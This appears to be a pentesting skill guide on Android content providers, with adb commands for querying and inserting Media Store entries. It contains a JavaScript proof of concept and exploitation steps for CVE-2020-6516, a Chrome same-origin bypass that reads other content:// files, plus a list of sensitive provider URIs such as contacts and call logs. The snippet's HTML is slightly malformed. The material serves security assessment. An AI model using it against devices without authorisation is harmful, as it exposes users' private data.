abelrguezr Android Content Protocol Pentesting
This skill helps you work with Android's Content Protocol during mobile application security assessments. Content providers expose data through content:// URIs and can be powerful attack vectors when misconfigured.
Core Concepts
Content providers are isolated in their own private namespace. Access requires the specific content:// URI, which can be found in:
- Application manifests (
AndroidManifest.xml) - Android framework source code
- Runtime discovery through
adb shell contentcommands
Querying the Media Store
List all indexed files
content query --uri content://media/external/file
Human-friendly output (ID and path only)
content query --uri content://media/external/file --projection _id,_data
Filter by application name
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
Inserting Files into Media Store
To insert a custom entry that can be accessed via content:// URIs:
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
Then discover the identifier:
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
Chrome Content Provider Access
Chrome on Android can access content providers through the content:// scheme. This allows it to access resources like photos or documents exported by third-party applications.
Access a file in Chrome
Once you have the file ID, construct a URL:
content://media/external/file/<ID>
For example, if the ID is 747:
content://media/external/file/747
CVE-2020-6516: Same-Origin-Policy Bypass
Affected versions: Android devices running versions earlier than Android 10 (before scoped storage)
Chrome considers content:// as a local scheme with strict SOP rules. However, CVE-2020-6516 allowed JavaScript from a content:// URL to access other content:// resources, bypassing SOP.
Proof-of-Concept
Create an HTML file that exploits this vulnerability:
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body
</html>
Exploitation Steps
- Upload the HTML file to
/sdcard - Insert it into the Media Store using
content insert - Get the file ID using
content query - Open the file in Chrome via
content://media/external/file/<ID> - The JavaScript will execute and can access other files in the Media Store
Common Content Provider URIs
| Provider | URI Pattern |
|---|---|
| Media Store (files) | content://media/external/file |
| Media Store (images) | content://media/external/images/media |
| Media Store (audio) | content://media/external/audio/media |
| Media Store (video) | content://media/external/video/media |
| Contacts | content://contacts/people |
| Call Log | content://call_log/calls |
Security Considerations
- Exported Content Providers: Check
AndroidManifest.xmlfor<provider>tags withandroid:exported="true" - Missing Permissions: Some providers may not enforce proper permission checks
- Path Traversal: Improper URI validation can lead to file access beyond intended scope
- SOP Bypass: On older Android versions, content:// URIs may bypass browser security policies
- Data Leakage: Sensitive data exposed through content providers can be accessed by any app with the right URI
Investigation Workflow
- Enumerate: Use
content queryto discover what files/data are indexed - Identify: Find content provider URIs in app manifests
- Test Access: Try accessing providers without proper permissions
- Exploit SOP: On Android < 10, test Chrome content:// access for SOP bypass
- Document: Record any information disclosure or access control issues
References
- CVE-2020-6516 Analysis
- Android Content Providers Documentation
- Android Security Best Practices